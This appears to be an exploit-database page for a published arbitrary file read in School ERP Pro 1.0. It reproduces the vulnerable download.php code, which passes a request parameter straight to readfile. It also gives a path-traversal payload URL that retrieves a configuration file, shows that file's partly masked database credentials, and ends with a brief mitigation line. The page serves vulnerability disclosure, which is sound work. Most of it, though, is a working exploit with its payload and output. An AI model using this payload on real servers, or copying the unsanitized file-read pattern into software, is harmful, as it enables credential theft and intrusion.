header-logo
Suggest Exploit
vendor:
School ERP Pro
by:
Besim ALTINOK
7.5
CVSS
HIGH
Arbitrary File Read
22
CWE
Product Name: School ERP Pro
Affected Version From: latest version
Affected Version To: latest version
Patch Exists: NO
Related CWE: N/A
CPE: a:arox:school_erp_pro
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Xampp
2020

School ERP Pro 1.0 – Arbitrary File Read

School ERP Pro 1.0 is vulnerable to an arbitrary file read vulnerability. An attacker can exploit this vulnerability by sending a crafted HTTP request containing a maliciously crafted document parameter to the vulnerable download.php script. This can allow an attacker to read sensitive files from the server.

Mitigation:

The vendor should ensure that user input is properly sanitized and validated before being used in file operations.
Source

Exploit-DB raw data:

# Exploit Title: School ERP Pro 1.0 - Arbitrary File Read
# Date: 2020-04-28
# Author: Besim ALTINOK
# Vendor Homepage: http://arox.in
# Software Link: https://sourceforge.net/projects/school-erp-ultimate/
# Version: latest version
# Tested on: Xampp
# Credit: İsmail BOZKURT
# CVE: N/A

Vulnerable code: (/student_staff/download.php)
- File Name: download.php
- Content of the download.php

<?php
if ( isset($_REQUEST["document"])&&$_REQUEST["document"]!="") {
$file = $_REQUEST['document'];
header("Content-type: application/force-download");
header("Content-Transfer-Encoding: Binary");
header("Content-length: ".filesize($file));
header("Content-disposition: attachment; filename=\"".$file."\"");
readfile($file);
exit;
}
?>

------------
*Payload:*
---------------

http://localhost/school_erp/student_staff/download.php?document=../includes/constants.inc.php
------------------------
*After run payload: (we accessed of the file content)*
------------------------

<?php

  define('DB_SERVER', 'localhost');
  define('DB_SERVER_USERNAME', 'aroxi********');
  define('DB_SERVER_PASSWORD', 'erp**********');
  define('DB_DATABASE', 'aroxi****************');
?>